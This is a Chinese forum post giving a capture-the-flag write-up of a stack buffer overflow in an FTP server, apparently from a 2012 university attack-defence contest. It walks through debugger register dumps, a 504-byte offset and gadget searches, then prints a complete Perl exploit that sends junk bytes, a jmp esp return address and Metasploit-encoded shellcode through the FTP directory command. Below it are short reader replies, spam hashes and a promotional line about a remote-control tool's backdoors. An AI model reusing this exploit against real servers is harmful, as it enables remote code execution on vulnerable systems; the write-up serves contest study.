發現第504字符后的 4字節覆蓋了返回地址，返回后面就是esp指向的內存。
這個題目似乎比第三題目還要簡單，esp所指的內存區域空間足以容納很大的shellcode.經典的jmp esp方式應該沒有問題。
504垃圾數據 4 字節返回地址 shellcode長度
[nops] [jmp esp ] [shellcode]
老規矩看看其他寄存器或者棧上的變量吧
0:002> r
eax=00ffe214 ebx=00000000 ecx=0038d8f0 edx=ababab00 esi=00ffeaf4 edi=00ffea58
eip=41387141 esp=00ffe410 ebp=37714136 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41387141 ?? ???
0:002> d eax
00ffe214 41 61 30 41 61 31 41 61-32 41 61 33 41 61 34 41 Aa0Aa1Aa2Aa3Aa4A
00ffe224 61 35 41 61 36 41 61 37-41 61 38 41 61 39 41 62 a5Aa6Aa7Aa8Aa9Ab
00ffe234 30 41 62 31 41 62 32 41-62 33 41 62 34 41 62 35 0Ab1Ab2Ab3Ab4Ab5
00ffe244 41 62 36 41 62 37 41 62-38 41 62 39 41 63 30 41 Ab6Ab7Ab8Ab9Ac0A
00ffe254 63 31 41 63 32 41 63 33-41 63 34 41 63 35 41 63 c1Ac2Ac3Ac4Ac5Ac
00ffe264 36 41 63 37 41 63 38 41-63 39 41 64 30 41 64 31 6Ac7Ac8Ac9Ad0Ad1
00ffe274 41 64 32 41 64 33 41 64-34 41 64 35 41 64 36 41 Ad2Ad3Ad4Ad5Ad6A
00ffe284 64 37 41 64 38 41 64 39-41 65 30 41 65 31 41 65 d7Ad8Ad9Ae0Ae1Ae
0:002> d edx
ababab00 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
ababab10 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
ababab20 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
ababab30 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
ababab40 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
ababab50 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
ababab60 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
ababab70 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:002> d esi
00ffeaf4 00 00 00 00 68 b4 38 00-00 00 00 00 cc cc cc cc ….h.8………
00ffeb04 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc …………….
00ffeb14 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc …………….
00ffeb24 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc …………….
00ffeb34 cc cc cc cc cc cc cc cc-cc cc cc cc 4c eb ff 00 …………L…
00ffeb44 4c eb ff 00 d7 07 00 00-1c b9 38 00 cc cc cc cc L………8…..
00ffeb54 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc …………….
00ffeb64 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc …………….
0:002> d edi
00ffea58 14 e4 ff 00 e0 ea ff 00-a8 dc 42 00 01 00 00 00 ……….B…..
00ffea68 ec ea ff 00 ca c9 40 00-58 fc ff 00 f4 ea ff 00 ……@.X…….
00ffea78 00 00 00 00 cc cc cc cc-cc cc cc cc cc cc cc cc …………….
00ffea88 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc …………….
00ffea98 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc …………….
00ffeaa8 cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc …………….
00ffeab8 cc cc cc cc cc ea ff 00-cc ea ff 00 d0 ea ff 00 …………….
00ffeac8 d0 ea ff 00 d4 86 e0 73-1c b9 38 00 d5 07 00 00 …….s..8…..
運氣還是非常好，eax寄存器還是指向我們字符串的開頭,棧中的函數參數也不用看了。可以直接利用第三題目的方法寫一個比較通用的exploit了。
我們的exploit字符串就這樣組織：
504 shellcode 4 字節返回地址
[nops + shellcode] [call eax ]
找一個好用的跳轉地址
root@scan:~/Desktop# /opt/metasploit/app/msfpescan -j eax FTPServer.exe
[FTPServer.exe]
0x0042bcdd push eax; ret
0x0044c9ae push eax; ret
0x004513fb jmp eax
0x0045151b jmp eax
0x004515b3 jmp eax
0×00451753 call eax
0×00451883 jmp eax
0x004519b3 call eax
0x00451a9b jmp eax
0x00451b8b jmp eax
0x0045207b call eax
0x004521db call eax
0x004523a3 jmp eax
0x004524bb call eax
……
但是實際測試的時候發現有點小問題，首先shellcode的編碼問題就是一個頭疼的問題,0x0a,0x0d,0×20,0×23這些都可能有特殊含義。開始的字符似乎不是ascii碼就不能發送過去，最后無奈的還是暫時放棄jmp eax的利用方式，還是采用了經典的 jmp esp方式利用成功的。
上Exp：
#!/usr/bin/perl
use Net::FTP;
print "2012西電網絡攻防大賽 溢出第四題 jmp esp exploit\n";
print "by c4rp3nt3r@0x50sec.org\n";
my $ip = '192.168.1.16';
$ftp = Net::FTP->new($ip, Debug => 0) or die "Cannot connect to $ip: $@";
$ftp->login("user",'ftp123') or die "Cannot login ", $ftp->message;
my $junk = "A" x 504;
my $eip = pack('V',0x7ffa4512); # jmp esp
#msf payload(exec) > generate -b '\x00\xff\x23\x20\x21\x0a\x0d' -t pl
# windows/exec - 223 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
# CMD=CALC
my $payload =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xd9\xea\xd9\x74\x24\xf4\xbb\xc1\x1f\x70\x89\x5f\x33\xc9" .
"\xb1\x32\x83\xef\xfc\x31\x5f\x13\x03\x9e\x0c\x92\x7c\xdc" .
"\xdb\xdb\x7f\x1c\x1c\xbc\xf6\xf9\x2d\xee\x6d\x8a\x1c\x3e" .
"\xe5\xde\xac\xb5\xab\xca\x27\xbb\x63\xfd\x80\x76\x52\x30" .
"\x10\xb7\x5a\x9e\xd2\xd9\x26\xdc\x06\x3a\x16\x2f\x5b\x3b" .
"\x5f\x4d\x94\x69\x08\x1a\x07\x9e\x3d\x5e\x94\x9f\x91\xd5" .
"\xa4\xe7\x94\x29\x50\x52\x96\x79\xc9\xe9\xd0\x61\x61\xb5" .
"\xc0\x90\xa6\xa5\x3d\xdb\xc3\x1e\xb5\xda\x05\x6f\x36\xed" .
"\x69\x3c\x09\xc2\x67\x3c\x4d\xe4\x97\x4b\xa5\x17\x25\x4c" .
"\x7e\x6a\xf1\xd9\x63\xcc\x72\x79\x40\xed\x57\x1c\x03\xe1" .
"\x1c\x6a\x4b\xe5\xa3\xbf\xe7\x11\x2f\x3e\x28\x90\x6b\x65" .
"\xec\xf9\x28\x04\xb5\xa7\x9f\x39\xa5\x0f\x7f\x9c\xad\xbd" .
"\x94\xa6\xef\xab\x6b\x2a\x8a\x92\x6c\x34\x95\xb4\x04\x05" .
"\x1e\x5b\x52\x9a\xf5\x18\xac\xd0\x54\x08\x25\xbd\x0c\x09" .
"\x28\x3e\xfb\x4d\x55\xbd\x0e\x2d\xa2\xdd\x7a\x28\xee\x59" .
"\x96\x40\x7f\x0c\x98\xf7\x80\x05\xdb\xb6\x32\xe5\xdc";
$ftp->dir($junk.$eip.$payload) or die "Cannot list directory ", $ftp->message;
$ftp->quit;
作者: 棋盤 時間: 2013-11-14 10:17
看不懂，怎么學習？
作者: 洇潙__じò_ぴé 時間: 2013-12-5 11:45
看不懂！0.0.0.0.0
作者: zzzzzzzzzzzzzzz 時間: 2013-12-6 20:44
看不懂，怎么學習？作者: 大禹科技商務有 時間: 2013-12-26 04:04
6802b858773127167804cf12f4a05954
作者: 大禹科技商務有 時間: 2013-12-26 04:05
f0da3f3526a4a3b61b327a3f64a4ee1b
作者: zm22310 時間: 2014-1-4 14:27
灰鴿子抓后門 官方無殼版請放心 后門容易抓
作者: 中外國際 時間: 2014-1-7 03:19
近準備入手，急問！
作者: ∵FOX☆ 時間: 2014-1-20 19:38
看看了 學習
| 歡迎光臨 灰鴿子遠程控制軟件 (http://www.dumiaotech.com/) | Powered by Discuz! X3.4 |